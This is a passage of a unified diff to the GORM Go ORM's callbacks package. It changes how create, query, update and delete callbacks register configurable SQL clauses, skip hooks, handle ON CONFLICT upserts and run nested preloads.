||||
}
|
||||
db.Statement.Settings.Range(func(k, v interface{}) bool {
|
||||
tx.Statement.Settings.Store(k, v)
|
||||
return true
|
||||
})
|
||||
|
||||
if tx.Statement.FullSaveAssociations {
|
||||
tx = tx.Set("gorm:update_track_time", true)
|
||||
}
|
||||
|
||||
if len(selects) > 0 {
|
||||
tx = tx.Select(selects)
|
||||
} else if restricted && len(omits) == 0 {
|
||||
tx = tx.Omit(clause.Associations)
|
||||
}
|
||||
|
||||
if len(omits) > 0 {
|
||||
tx = tx.Omit(omits...)
|
||||
}
|
||||
|
||||
return clause.OnConflict{DoNothing: true}
|
||||
return db.AddError(tx.Create(values).Error)
|
||||
}
|
||||
+38
-6
@@ -4,9 +4,20 @@ import (
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
var (
|
||||
createClauses = []string{"INSERT", "VALUES", "ON CONFLICT"}
|
||||
queryClauses = []string{"SELECT", "FROM", "WHERE", "GROUP BY", "ORDER BY", "LIMIT", "FOR"}
|
||||
updateClauses = []string{"UPDATE", "SET", "WHERE"}
|
||||
deleteClauses = []string{"DELETE", "FROM", "WHERE"}
|
||||
)
|
||||
|
||||
type Config struct {
|
||||
LastInsertIDReversed bool
|
||||
WithReturning bool
|
||||
CreateClauses []string
|
||||
QueryClauses []string
|
||||
UpdateClauses []string
|
||||
DeleteClauses []string
|
||||
}
|
||||
|
||||
func RegisterDefaultCallbacks(db *gorm.DB, config *Config) {
|
||||
@@ -17,16 +28,24 @@ func RegisterDefaultCallbacks(db *gorm.DB, config *Config) {
|
||||
createCallback := db.Callback().Create()
|
||||
createCallback.Match(enableTransaction).Register("gorm:begin_transaction", BeginTransaction)
|
||||
createCallback.Register("gorm:before_create", BeforeCreate)
|
||||
createCallback.Register("gorm:save_before_associations", SaveBeforeAssociations)
|
||||
createCallback.Register("gorm:save_before_associations", SaveBeforeAssociations(true))
|
||||
createCallback.Register("gorm:create", Create(config))
|
||||
createCallback.Register("gorm:save_after_associations", SaveAfterAssociations)
|
||||
createCallback.Register("gorm:save_after_associations", SaveAfterAssociations(true))
|
||||
createCallback.Register("gorm:after_create", AfterCreate)
|
||||
createCallback.Match(enableTransaction).Register("gorm:commit_or_rollback_transaction", CommitOrRollbackTransaction)
|
||||
if len(config.CreateClauses) == 0 {
|
||||
config.CreateClauses = createClauses
|
||||
}
|
||||
createCallback.Clauses = config.CreateClauses
|
||||
|
||||
queryCallback := db.Callback().Query()
|
||||
queryCallback.Register("gorm:query", Query)
|
||||
queryCallback.Register("gorm:preload", Preload)
|
||||
queryCallback.Register("gorm:after_query", AfterQuery)
|
||||
if len(config.QueryClauses) == 0 {
|
||||
config.QueryClauses = queryClauses
|
||||
}
|
||||
queryCallback.Clauses = config.QueryClauses
|
||||
|
||||
deleteCallback := db.Callback().Delete()
|
||||
deleteCallback.Match(enableTransaction).Register("gorm:begin_transaction", BeginTransaction)
|
||||
@@ -35,17 +54,30 @@ func RegisterDefaultCallbacks(db *gorm.DB, config *Config) {
|
||||
deleteCallback.Register("gorm:delete", Delete)
|
||||
deleteCallback.Register("gorm:after_delete", AfterDelete)
|
||||
deleteCallback.Match(enableTransaction).Register("gorm:commit_or_rollback_transaction", CommitOrRollbackTransaction)
|
||||
if len(config.DeleteClauses) == 0 {
|
||||
config.DeleteClauses = deleteClauses
|
||||
}
|
||||
deleteCallback.Clauses = config.DeleteClauses
|
||||
|
||||
updateCallback := db.Callback().Update()
|
||||
updateCallback.Match(enableTransaction).Register("gorm:begin_transaction", BeginTransaction)
|
||||
updateCallback.Register("gorm:setup_reflect_value", SetupUpdateReflectValue)
|
||||
updateCallback.Register("gorm:before_update", BeforeUpdate)
|
||||
updateCallback.Register("gorm:save_before_associations", SaveBeforeAssociations)
|
||||
updateCallback.Register("gorm:save_before_associations", SaveBeforeAssociations(false))
|
||||
updateCallback.Register("gorm:update", Update)
|
||||
updateCallback.Register("gorm:save_after_associations", SaveAfterAssociations)
|
||||
updateCallback.Register("gorm:save_after_associations", SaveAfterAssociations(false))
|
||||
updateCallback.Register("gorm:after_update", AfterUpdate)
|
||||
updateCallback.Match(enableTransaction).Register("gorm:commit_or_rollback_transaction", CommitOrRollbackTransaction)
|
||||
if len(config.UpdateClauses) == 0 {
|
||||
config.UpdateClauses = updateClauses
|
||||
}
|
||||
updateCallback.Clauses = config.UpdateClauses
|
||||
|
||||
db.Callback().Row().Register("gorm:row", RowQuery)
|
||||
db.Callback().Raw().Register("gorm:raw", RawExec)
|
||||
rowCallback := db.Callback().Row()
|
||||
rowCallback.Register("gorm:row", RowQuery)
|
||||
rowCallback.Clauses = config.QueryClauses
|
||||
|
||||
rawCallback := db.Callback().Raw()
|
||||
rawCallback.Register("gorm:raw", RawExec)
|
||||
rawCallback.Clauses = config.QueryClauses
|
||||
}
|
||||
+1
-1
@@ -7,7 +7,7 @@ import (
|
||||
)
|
||||
|
||||
func callMethod(db *gorm.DB, fc func(value interface{}, tx *gorm.DB) bool) {
|
||||
tx := db.Session(&gorm.Session{})
|
||||
tx := db.Session(&gorm.Session{NewDB: true})
|
||||
if called := fc(db.Statement.ReflectValue.Interface(), tx); !called {
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
|
||||
+94
-78
@@ -10,7 +10,7 @@ import (
|
||||
)
|
||||
|
||||
func BeforeCreate(db *gorm.DB) {
|
||||
if db.Error == nil && db.Statement.Schema != nil && (db.Statement.Schema.BeforeSave || db.Statement.Schema.BeforeCreate) {
|
||||
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && (db.Statement.Schema.BeforeSave || db.Statement.Schema.BeforeCreate) {
|
||||
callMethod(db, func(value interface{}, tx *gorm.DB) (called bool) {
|
||||
if db.Statement.Schema.BeforeSave {
|
||||
if i, ok := value.(BeforeSaveInterface); ok {
|
||||
@@ -33,75 +33,75 @@ func BeforeCreate(db *gorm.DB) {
|
||||
func Create(config *Config) func(db *gorm.DB) {
|
||||
if config.WithReturning {
|
||||
return CreateWithReturning
|
||||
} else {
|
||||
return func(db *gorm.DB) {
|
||||
if db.Error == nil {
|
||||
if db.Statement.Schema != nil && !db.Statement.Unscoped {
|
||||
for _, c := range db.Statement.Schema.CreateClauses {
|
||||
db.Statement.AddClause(c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if db.Statement.SQL.String() == "" {
|
||||
db.Statement.SQL.Grow(180)
|
||||
db.Statement.AddClauseIfNotExists(clause.Insert{})
|
||||
db.Statement.AddClause(ConvertToCreateValues(db.Statement))
|
||||
return func(db *gorm.DB) {
|
||||
if db.Error != nil {
|
||||
return
|
||||
}
|
||||
|
||||
db.Statement.Build("INSERT", "VALUES", "ON CONFLICT")
|
||||
}
|
||||
if db.Statement.Schema != nil && !db.Statement.Unscoped {
|
||||
for _, c := range db.Statement.Schema.CreateClauses {
|
||||
db.Statement.AddClause(c)
|
||||
}
|
||||
}
|
||||
|
||||
if !db.DryRun && db.Error == nil {
|
||||
result, err := db.Statement.ConnPool.ExecContext(db.Statement.Context, db.Statement.SQL.String(), db.Statement.Vars...)
|
||||
if db.Statement.SQL.String() == "" {
|
||||
db.Statement.SQL.Grow(180)
|
||||
db.Statement.AddClauseIfNotExists(clause.Insert{})
|
||||
db.Statement.AddClause(ConvertToCreateValues(db.Statement))
|
||||
|
||||
if err == nil {
|
||||
db.RowsAffected, _ = result.RowsAffected()
|
||||
if db.RowsAffected > 0 {
|
||||
if db.Statement.Schema != nil && db.Statement.Schema.PrioritizedPrimaryField != nil && db.Statement.Schema.PrioritizedPrimaryField.HasDefaultValue {
|
||||
if insertID, err := result.LastInsertId(); err == nil {
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
if config.LastInsertIDReversed {
|
||||
for i := db.Statement.ReflectValue.Len() - 1; i >= 0; i-- {
|
||||
rv := db.Statement.ReflectValue.Index(i)
|
||||
if reflect.Indirect(rv).Kind() != reflect.Struct {
|
||||
break
|
||||
}
|
||||
db.Statement.Build(db.Statement.BuildClauses...)
|
||||
}
|
||||
|
||||
_, isZero := db.Statement.Schema.PrioritizedPrimaryField.ValueOf(rv)
|
||||
if isZero {
|
||||
db.Statement.Schema.PrioritizedPrimaryField.Set(rv, insertID)
|
||||
insertID--
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
|
||||
rv := db.Statement.ReflectValue.Index(i)
|
||||
if reflect.Indirect(rv).Kind() != reflect.Struct {
|
||||
break
|
||||
}
|
||||
if !db.DryRun && db.Error == nil {
|
||||
result, err := db.Statement.ConnPool.ExecContext(db.Statement.Context, db.Statement.SQL.String(), db.Statement.Vars...)
|
||||
|
||||
if _, isZero := db.Statement.Schema.PrioritizedPrimaryField.ValueOf(rv); isZero {
|
||||
db.Statement.Schema.PrioritizedPrimaryField.Set(rv, insertID)
|
||||
insertID++
|
||||
}
|
||||
}
|
||||
}
|
||||
case reflect.Struct:
|
||||
if insertID > 0 {
|
||||
if _, isZero := db.Statement.Schema.PrioritizedPrimaryField.ValueOf(db.Statement.ReflectValue); isZero {
|
||||
if err != nil {
|
||||
db.AddError(err)
|
||||
return
|
||||
}
|
||||
|
||||
db.Statement.Schema.PrioritizedPrimaryField.Set(db.Statement.ReflectValue, insertID)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
db.AddError(err)
|
||||
db.RowsAffected, _ = result.RowsAffected()
|
||||
|
||||
if db.RowsAffected != 0 && db.Statement.Schema != nil &&
|
||||
db.Statement.Schema.PrioritizedPrimaryField != nil && db.Statement.Schema.PrioritizedPrimaryField.HasDefaultValue {
|
||||
if insertID, err := result.LastInsertId(); err == nil && insertID > 0 {
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
if config.LastInsertIDReversed {
|
||||
for i := db.Statement.ReflectValue.Len() - 1; i >= 0; i-- {
|
||||
rv := db.Statement.ReflectValue.Index(i)
|
||||
if reflect.Indirect(rv).Kind() != reflect.Struct {
|
||||
break
|
||||
}
|
||||
|
||||
_, isZero := db.Statement.Schema.PrioritizedPrimaryField.ValueOf(rv)
|
||||
if isZero {
|
||||
db.Statement.Schema.PrioritizedPrimaryField.Set(rv, insertID)
|
||||
insertID -= db.Statement.Schema.PrioritizedPrimaryField.AutoIncrementIncrement
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
|
||||
rv := db.Statement.ReflectValue.Index(i)
|
||||
if reflect.Indirect(rv).Kind() != reflect.Struct {
|
||||
break
|
||||
}
|
||||
|
||||
if _, isZero := db.Statement.Schema.PrioritizedPrimaryField.ValueOf(rv); isZero {
|
||||
db.Statement.Schema.PrioritizedPrimaryField.Set(rv, insertID)
|
||||
insertID += db.Statement.Schema.PrioritizedPrimaryField.AutoIncrementIncrement
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
db.AddError(err)
|
||||
case reflect.Struct:
|
||||
if _, isZero := db.Statement.Schema.PrioritizedPrimaryField.ValueOf(db.Statement.ReflectValue); isZero {
|
||||
db.Statement.Schema.PrioritizedPrimaryField.Set(db.Statement.ReflectValue, insertID)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
db.AddError(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -120,7 +120,7 @@ func CreateWithReturning(db *gorm.DB) {
|
||||
db.Statement.AddClauseIfNotExists(clause.Insert{})
|
||||
db.Statement.AddClause(ConvertToCreateValues(db.Statement))
|
||||
|
||||
db.Statement.Build("INSERT", "VALUES", "ON CONFLICT")
|
||||
db.Statement.Build(db.Statement.BuildClauses...)
|
||||
}
|
||||
|
||||
if sch := db.Statement.Schema; sch != nil && len(sch.FieldsWithDefaultDBValue) > 0 {
|
||||
@@ -141,6 +141,7 @@ func CreateWithReturning(db *gorm.DB) {
|
||||
}
|
||||
|
||||
if !db.DryRun && db.Error == nil {
|
||||
db.RowsAffected = 0
|
||||
rows, err := db.Statement.ConnPool.QueryContext(db.Statement.Context, db.Statement.SQL.String(), db.Statement.Vars...)
|
||||
|
||||
if err == nil {
|
||||
@@ -204,7 +205,7 @@ func CreateWithReturning(db *gorm.DB) {
|
||||
}
|
||||
|
||||
func AfterCreate(db *gorm.DB) {
|
||||
if db.Error == nil && db.Statement.Schema != nil && (db.Statement.Schema.AfterSave || db.Statement.Schema.AfterCreate) {
|
||||
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && (db.Statement.Schema.AfterSave || db.Statement.Schema.AfterCreate) {
|
||||
callMethod(db, func(value interface{}, tx *gorm.DB) (called bool) {
|
||||
if db.Statement.Schema.AfterSave {
|
||||
if i, ok := value.(AfterSaveInterface); ok {
|
||||
@@ -238,14 +239,17 @@ func ConvertToCreateValues(stmt *gorm.Statement) (values clause.Values) {
|
||||
default:
|
||||
var (
|
||||
selectColumns, restricted = stmt.SelectAndOmitColumns(true, false)
|
||||
_, updateTrackTime = stmt.Get("gorm:update_track_time")
|
||||
curTime = stmt.DB.NowFunc()
|
||||
isZero bool
|
||||
)
|
||||
stmt.Settings.Delete("gorm:update_track_time")
|
||||
|
||||
values = clause.Values{Columns: make([]clause.Column, 0, len(stmt.Schema.DBNames))}
|
||||
|
||||
for _, db := range stmt.Schema.DBNames {
|
||||
if field := stmt.Schema.FieldsByDBName[db]; !field.HasDefaultValue || field.DefaultValueInterface != nil {
|
||||
if v, ok := selectColumns[db]; (ok && v) || (!ok && !restricted) {
|
||||
if v, ok := selectColumns[db]; (ok && v) || (!ok && (!restricted || field.AutoCreateTime > 0 || field.AutoUpdateTime > 0)) {
|
||||
values.Columns = append(values.Columns, clause.Column{Name: db})
|
||||
}
|
||||
}
|
||||
@@ -253,7 +257,7 @@ func ConvertToCreateValues(stmt *gorm.Statement) (values clause.Values) {
|
||||
|
||||
switch stmt.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
stmt.SQL.Grow(stmt.ReflectValue.Len() * 15)
|
||||
stmt.SQL.Grow(stmt.ReflectValue.Len() * 18)
|
||||
values.Values = make([][]interface{}, stmt.ReflectValue.Len())
|
||||
defaultValueFieldsHavingValue := map[*schema.Field][]interface{}{}
|
||||
if stmt.ReflectValue.Len() == 0 {
|
||||
@@ -279,6 +283,9 @@ func ConvertToCreateValues(stmt *gorm.Statement) (values clause.Values) {
|
||||
field.Set(rv, curTime)
|
||||
values.Values[i][idx], _ = field.ValueOf(rv)
|
||||
}
|
||||
} else if field.AutoUpdateTime > 0 && updateTrackTime {
|
||||
field.Set(rv, curTime)
|
||||
values.Values[i][idx], _ = field.ValueOf(rv)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -316,6 +323,9 @@ func ConvertToCreateValues(stmt *gorm.Statement) (values clause.Values) {
|
||||
field.Set(stmt.ReflectValue, curTime)
|
||||
values.Values[0][idx], _ = field.ValueOf(stmt.ReflectValue)
|
||||
}
|
||||
} else if field.AutoUpdateTime > 0 && updateTrackTime {
|
||||
field.Set(stmt.ReflectValue, curTime)
|
||||
values.Values[0][idx], _ = field.ValueOf(stmt.ReflectValue)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -332,26 +342,32 @@ func ConvertToCreateValues(stmt *gorm.Statement) (values clause.Values) {
|
||||
}
|
||||
}
|
||||
|
||||
if stmt.UpdatingColumn {
|
||||
if stmt.Schema != nil && len(values.Columns) > 1 {
|
||||
columns := make([]string, 0, len(values.Columns)-1)
|
||||
for _, column := range values.Columns {
|
||||
if field := stmt.Schema.LookUpField(column.Name); field != nil {
|
||||
if !field.PrimaryKey && !field.HasDefaultValue && field.AutoCreateTime == 0 {
|
||||
columns = append(columns, column.Name)
|
||||
if c, ok := stmt.Clauses["ON CONFLICT"]; ok {
|
||||
if onConflict, _ := c.Expression.(clause.OnConflict); onConflict.UpdateAll {
|
||||
if stmt.Schema != nil && len(values.Columns) >= 1 {
|
||||
selectColumns, restricted := stmt.SelectAndOmitColumns(true, true)
|
||||
|
||||
columns := make([]string, 0, len(values.Columns)-1)
|
||||
for _, column := range values.Columns {
|
||||
if field := stmt.Schema.LookUpField(column.Name); field != nil {
|
||||
if v, ok := selectColumns[field.DBName]; (ok && v) || (!ok && !restricted) {
|
||||
if !field.PrimaryKey && (!field.HasDefaultValue || field.DefaultValueInterface != nil) && field.AutoCreateTime == 0 {
|
||||
columns = append(columns, column.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
onConflict := clause.OnConflict{
|
||||
Columns: make([]clause.Column, len(stmt.Schema.PrimaryFieldDBNames)),
|
||||
DoUpdates: clause.AssignmentColumns(columns),
|
||||
}
|
||||
onConflict.DoUpdates = clause.AssignmentColumns(columns)
|
||||
|
||||
for idx, field := range stmt.Schema.PrimaryFields {
|
||||
onConflict.Columns[idx] = clause.Column{Name: field.DBName}
|
||||
// use primary fields as default OnConflict columns
|
||||
if len(onConflict.Columns) == 0 {
|
||||
for _, field := range stmt.Schema.PrimaryFields {
|
||||
onConflict.Columns = append(onConflict.Columns, clause.Column{Name: field.DBName})
|
||||
}
|
||||
}
|
||||
stmt.AddClause(onConflict)
|
||||
}
|
||||
stmt.AddClause(onConflict)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+12
-9
@@ -10,7 +10,7 @@ import (
|
||||
)
|
||||
|
||||
func BeforeDelete(db *gorm.DB) {
|
||||
if db.Error == nil && db.Statement.Schema != nil && db.Statement.Schema.BeforeDelete {
|
||||
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && db.Statement.Schema.BeforeDelete {
|
||||
callMethod(db, func(value interface{}, tx *gorm.DB) bool {
|
||||
if i, ok := value.(BeforeDeleteInterface); ok {
|
||||
db.AddError(i.BeforeDelete(tx))
|
||||
@@ -34,11 +34,14 @@ func DeleteBeforeAssociations(db *gorm.DB) {
|
||||
case schema.HasOne, schema.HasMany:
|
||||
queryConds := rel.ToQueryConditions(db.Statement.ReflectValue)
|
||||
modelValue := reflect.New(rel.FieldSchema.ModelType).Interface()
|
||||
tx := db.Session(&gorm.Session{}).Model(modelValue)
|
||||
tx := db.Session(&gorm.Session{NewDB: true}).Model(modelValue)
|
||||
withoutConditions := false
|
||||
if db.Statement.Unscoped {
|
||||
tx = tx.Unscoped()
|
||||
}
|
||||
|
||||
if len(db.Statement.Selects) > 0 {
|
||||
var selects []string
|
||||
selects := make([]string, 0, len(db.Statement.Selects))
|
||||
for _, s := range db.Statement.Selects {
|
||||
if s == clause.Associations {
|
||||
selects = append(selects, s)
|
||||
@@ -66,12 +69,12 @@ func DeleteBeforeAssociations(db *gorm.DB) {
|
||||
}
|
||||
case schema.Many2Many:
|
||||
var (
|
||||
queryConds []clause.Expression
|
||||
foreignFields []*schema.Field
|
||||
relForeignKeys []string
|
||||
queryConds = make([]clause.Expression, 0, len(rel.References))
|
||||
foreignFields = make([]*schema.Field, 0, len(rel.References))
|
||||
relForeignKeys = make([]string, 0, len(rel.References))
|
||||
modelValue = reflect.New(rel.JoinTable.ModelType).Interface()
|
||||
table = rel.JoinTable.Table
|
||||
tx = db.Session(&gorm.Session{}).Model(modelValue).Table(table)
|
||||
tx = db.Session(&gorm.Session{NewDB: true}).Model(modelValue).Table(table)
|
||||
)
|
||||
|
||||
for _, ref := range rel.References {
|
||||
@@ -132,7 +135,7 @@ func Delete(db *gorm.DB) {
|
||||
}
|
||||
|
||||
db.Statement.AddClauseIfNotExists(clause.From{})
|
||||
db.Statement.Build("DELETE", "FROM", "WHERE")
|
||||
db.Statement.Build(db.Statement.BuildClauses...)
|
||||
}
|
||||
|
||||
if _, ok := db.Statement.Clauses["WHERE"]; !db.AllowGlobalUpdate && !ok && db.Error == nil {
|
||||
@@ -153,7 +156,7 @@ func Delete(db *gorm.DB) {
|
||||
}
|
||||
|
||||
func AfterDelete(db *gorm.DB) {
|
||||
if db.Error == nil && db.Statement.Schema != nil && db.Statement.Schema.AfterDelete {
|
||||
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && db.Statement.Schema.AfterDelete {
|
||||
callMethod(db, func(value interface{}, tx *gorm.DB) bool {
|
||||
if i, ok := value.(AfterDeleteInterface); ok {
|
||||
db.AddError(i.AfterDelete(tx))
|
||||
|
||||
+9
-4
@@ -12,7 +12,7 @@ func ConvertMapToValuesForCreate(stmt *gorm.Statement, mapValue map[string]inter
|
||||
values.Columns = make([]clause.Column, 0, len(mapValue))
|
||||
selectColumns, restricted := stmt.SelectAndOmitColumns(true, false)
|
||||
|
||||
var keys []string
|
||||
var keys = make([]string, 0, len(mapValue))
|
||||
for k := range mapValue {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
@@ -41,16 +41,21 @@ func ConvertMapToValuesForCreate(stmt *gorm.Statement, mapValue map[string]inter
|
||||
// ConvertSliceOfMapToValuesForCreate convert slice of map to values
|
||||
func ConvertSliceOfMapToValuesForCreate(stmt *gorm.Statement, mapValues []map[string]interface{}) (values clause.Values) {
|
||||
var (
|
||||
columns = []string{}
|
||||
result = map[string][]interface{}{}
|
||||
selectColumns, restricted = stmt.SelectAndOmitColumns(true, false)
|
||||
columns = make([]string, 0, len(mapValues))
|
||||
)
|
||||
|
||||
// when the length of mapValues is zero,return directly here
|
||||
// no need to call stmt.SelectAndOmitColumns method
|
||||
if len(mapValues) == 0 {
|
||||
stmt.AddError(gorm.ErrEmptySlice)
|
||||
return
|
||||
}
|
||||
|
||||
var (
|
||||
result = make(map[string][]interface{}, len(mapValues))
|
||||
selectColumns, restricted = stmt.SelectAndOmitColumns(true, false)
|
||||
)
|
||||
|
||||
for idx, mapValue := range mapValues {
|
||||
for k, v := range mapValue {
|
||||
if stmt.Schema != nil {
|
||||
|
||||
+48
-32
@@ -1,6 +1,7 @@
|
||||
package callbacks
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"reflect"
|
||||
|
||||
"gorm.io/gorm"
|
||||
@@ -9,11 +10,10 @@ import (
|
||||
"gorm.io/gorm/utils"
|
||||
)
|
||||
|
||||
func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
|
||||
func preload(db *gorm.DB, rel *schema.Relationship, conds []interface{}, preloads map[string][]interface{}) {
|
||||
var (
|
||||
reflectValue = db.Statement.ReflectValue
|
||||
rel = rels[len(rels)-1]
|
||||
tx = db.Session(&gorm.Session{})
|
||||
tx = db.Session(&gorm.Session{NewDB: true}).Model(nil).Session(&gorm.Session{SkipHooks: db.Statement.SkipHooks})
|
||||
relForeignKeys []string
|
||||
relForeignFields []*schema.Field
|
||||
foreignFields []*schema.Field
|
||||
@@ -22,13 +22,18 @@ func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
|
||||
inlineConds []interface{}
|
||||
)
|
||||
|
||||
if len(rels) > 1 {
|
||||
reflectValue = schema.GetRelationsValues(reflectValue, rels[:len(rels)-1])
|
||||
}
|
||||
db.Statement.Settings.Range(func(k, v interface{}) bool {
|
||||
tx.Statement.Settings.Store(k, v)
|
||||
return true
|
||||
})
|
||||
|
||||
if rel.JoinTable != nil {
|
||||
var joinForeignFields, joinRelForeignFields []*schema.Field
|
||||
var joinForeignKeys []string
|
||||
var (
|
||||
joinForeignFields = make([]*schema.Field, 0, len(rel.References))
|
||||
joinRelForeignFields = make([]*schema.Field, 0, len(rel.References))
|
||||
joinForeignKeys = make([]string, 0, len(rel.References))
|
||||
)
|
||||
|
||||
for _, ref := range rel.References {
|
||||
if ref.OwnPrimaryKey {
|
||||
joinForeignKeys = append(joinForeignKeys, ref.ForeignKey.DBName)
|
||||
@@ -49,7 +54,7 @@ func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
|
||||
}
|
||||
|
||||
joinResults := rel.JoinTable.MakeSlice().Elem()
|
||||
column, values := schema.ToQueryValues(rel.JoinTable.Table, joinForeignKeys, joinForeignValues)
|
||||
column, values := schema.ToQueryValues(clause.CurrentTable, joinForeignKeys, joinForeignValues)
|
||||
db.AddError(tx.Where(clause.IN{Column: column, Values: values}).Find(joinResults.Addr().Interface()).Error)
|
||||
|
||||
// convert join identity map to relation identity map
|
||||
@@ -92,18 +97,25 @@ func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
|
||||
}
|
||||
}
|
||||
|
||||
// nested preload
|
||||
for p, pvs := range preloads {
|
||||
tx = tx.Preload(p, pvs...)
|
||||
}
|
||||
|
||||
reflectResults := rel.FieldSchema.MakeSlice().Elem()
|
||||
column, values := schema.ToQueryValues(clause.CurrentTable, relForeignKeys, foreignValues)
|
||||
|
||||
for _, cond := range conds {
|
||||
if fc, ok := cond.(func(*gorm.DB) *gorm.DB); ok {
|
||||
tx = fc(tx)
|
||||
} else {
|
||||
inlineConds = append(inlineConds, cond)
|
||||
if len(values) != 0 {
|
||||
for _, cond := range conds {
|
||||
if fc, ok := cond.(func(*gorm.DB) *gorm.DB); ok {
|
||||
tx = fc(tx)
|
||||
} else {
|
||||
inlineConds = append(inlineConds, cond)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
db.AddError(tx.Where(clause.IN{Column: column, Values: values}).Find(reflectResults.Addr().Interface(), inlineConds...).Error)
|
||||
db.AddError(tx.Where(clause.IN{Column: column, Values: values}).Find(reflectResults.Addr().Interface(), inlineConds...).Error)
|
||||
}
|
||||
|
||||
fieldValues := make([]interface{}, len(relForeignFields))
|
||||
|
||||
@@ -112,7 +124,7 @@ func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
|
||||
case reflect.Struct:
|
||||
switch rel.Type {
|
||||
case schema.HasMany, schema.Many2Many:
|
||||
rel.Field.Set(reflectValue, reflect.MakeSlice(rel.Field.IndirectFieldType, 0, 0).Interface())
|
||||
rel.Field.Set(reflectValue, reflect.MakeSlice(rel.Field.IndirectFieldType, 0, 10).Interface())
|
||||
default:
|
||||
rel.Field.Set(reflectValue, reflect.New(rel.Field.FieldType).Interface())
|
||||
}
|
||||
@@ -120,7 +132,7 @@ func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
|
||||
for i := 0; i < reflectValue.Len(); i++ {
|
||||
switch rel.Type {
|
||||
case schema.HasMany, schema.Many2Many:
|
||||
rel.Field.Set(reflectValue.Index(i), reflect.MakeSlice(rel.Field.IndirectFieldType, 0, 0).Interface())
|
||||
rel.Field.Set(reflectValue.Index(i), reflect.MakeSlice(rel.Field.IndirectFieldType, 0, 10).Interface())
|
||||
default:
|
||||
rel.Field.Set(reflectValue.Index(i), reflect.New(rel.Field.FieldType).Interface())
|
||||
}
|
||||
@@ -133,23 +145,27 @@ func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
|
||||
fieldValues[idx], _ = field.ValueOf(elem)
|
||||
}
|
||||
|
||||
for _, data := range identityMap[utils.ToStringKey(fieldValues...)] {
|
||||
reflectFieldValue := rel.Field.ReflectValueOf(data)
|
||||
if reflectFieldValue.Kind() == reflect.Ptr && reflectFieldValue.IsNil() {
|
||||
reflectFieldValue.Set(reflect.New(rel.Field.FieldType.Elem()))
|
||||
}
|
||||
if datas, ok := identityMap[utils.ToStringKey(fieldValues...)]; ok {
|
||||
for _, data := range datas {
|
||||
reflectFieldValue := rel.Field.ReflectValueOf(data)
|
||||
if reflectFieldValue.Kind() == reflect.Ptr && reflectFieldValue.IsNil() {
|
||||
reflectFieldValue.Set(reflect.New(rel.Field.FieldType.Elem()))
|
||||
}
|
||||
|
||||
reflectFieldValue = reflect.Indirect(reflectFieldValue)
|
||||
switch reflectFieldValue.Kind() {
|
||||
case reflect.Struct:
|
||||
rel.Field.Set(data, reflectResults.Index(i).Interface())
|
||||
case reflect.Slice, reflect.Array:
|
||||
if reflectFieldValue.Type().Elem().Kind() == reflect.Ptr {
|
||||
rel.Field.Set(data, reflect.Append(reflectFieldValue, elem).Interface())
|
||||
} else {
|
||||
rel.Field.Set(data, reflect.Append(reflectFieldValue, elem.Elem()).Interface())
|
||||
reflectFieldValue = reflect.Indirect(reflectFieldValue)
|
||||
switch reflectFieldValue.Kind() {
|
||||
case reflect.Struct:
|
||||
rel.Field.Set(data, reflectResults.Index(i).Interface())
|
||||
case reflect.Slice, reflect.Array:
|
||||
if reflectFieldValue.Type().Elem().Kind() == reflect.Ptr {
|
||||
rel.Field.Set(data, reflect.Append(reflectFieldValue, elem).Interface())
|
||||
} else {
|
||||
rel.Field.Set(data, reflect.Append(reflectFieldValue, elem.Elem()).Interface())
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
db.AddError(fmt.Errorf("failed to assign association %#v, make sure foreign fields exists", elem.Interface()))
|
||||
}
|
||||
}
|
||||
}
|
||||
+44
-40
@@ -8,7 +8,6 @@ import (
|
||||
|
||||
"gorm.io/gorm"
|
||||
"gorm.io/gorm/clause"
|
||||
"gorm.io/gorm/schema"
|
||||
)
|
||||
|
||||
func Query(db *gorm.DB) {
|
||||
@@ -68,26 +67,28 @@ func BuildQuerySQL(db *gorm.DB) {
|
||||
clauseSelect.Columns = make([]clause.Column, 0, len(db.Statement.Schema.DBNames))
|
||||
for _, dbName := range db.Statement.Schema.DBNames {
|
||||
if v, ok := selectColumns[dbName]; (ok && v) || !ok {
|
||||
clauseSelect.Columns = append(clauseSelect.Columns, clause.Column{Name: dbName})
|
||||
clauseSelect.Columns = append(clauseSelect.Columns, clause.Column{Table: db.Statement.Table, Name: dbName})
|
||||
}
|
||||
}
|
||||
} else if db.Statement.Schema != nil && db.Statement.ReflectValue.IsValid() {
|
||||
smallerStruct := false
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Struct:
|
||||
